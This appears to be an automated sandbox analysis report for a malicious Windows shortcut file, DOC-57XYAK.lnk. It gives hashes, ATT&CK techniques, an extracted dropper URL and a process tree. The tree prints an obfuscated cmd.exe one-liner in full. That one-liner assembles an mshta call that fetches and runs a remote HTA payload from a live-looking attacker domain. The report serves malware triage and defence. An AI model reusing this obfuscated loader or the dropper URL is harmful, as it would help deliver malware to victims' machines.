af08e7adf7db368675ef4bd3c5a1fe6a32e6fdeb700a050fe0bb4224c138dd0c

Analysis

max time kernel
58s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/08/2026, 12:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-57XYAK.lnk
Size 2KB
Sample260831-p2cl2sam9y
SHA256 af08e7adf7db368675ef4bd3c5a1fe6a32e6fdeb700a050fe0bb4224c138dd0c
MD5 9e42ba1569f91cb0253f374edfe79ed0
SHA1 c72255bd8d521a6050e9af3072150e2dc3966e1d
SHA512 1016c7730295bb1288f7e7bf28bcf4d1cdebd08a7d1f6c0ac9cd054d6cc76b4d43c23e67b0ef7293b55a5c6c9fb61f84123ca5d1c569102509d69720752fd5e4
TLSH
T11A5155A02AEE41D8F2BF9E76D9BE3752487BB9229D20D6DC0544C10E1823B41D972F22
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4428	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 1480	4428	cmd.exe	90
PID 1480 wrote to memory of 4132	1480	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-57XYAK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4428
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set QwT=0stky&&set HQ=y8artxyf&set bWwzV=dbgkxngxhzdbg&set yU=cacheysyuuijmqjmyynxoaltmxcache&set ycWwj=olddzqerdold&set GfCse=k0m9ma&&set CEDsQ=xtsro&&set sqT=khtaiq&set aB=datpvsujwpmywujdat&set GYUyz=cacheezpvmxnoyyrhcache&set rj=tmpfrehtsuktmp&set FuZX=infudphirbnflaoinf&set kC=bakshsyaohexnzvettarbak&set vxse=cachetpijziesdhmtcache&set yogA=infbqxlxmgxadjswhubauinf&set kCxv=tmpmfadtlihtmp&&set trNh=ht@t@p@s@:@/@/@k@-docum@en@t@a@cion@.@lat/h/e@st@[email protected]?@r@=@3F1477F@1@5@3@9@8D@1&&start /b !GfCse:~2,1!!CEDsQ:~2,1!!sqT:~1,3! !trNh:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads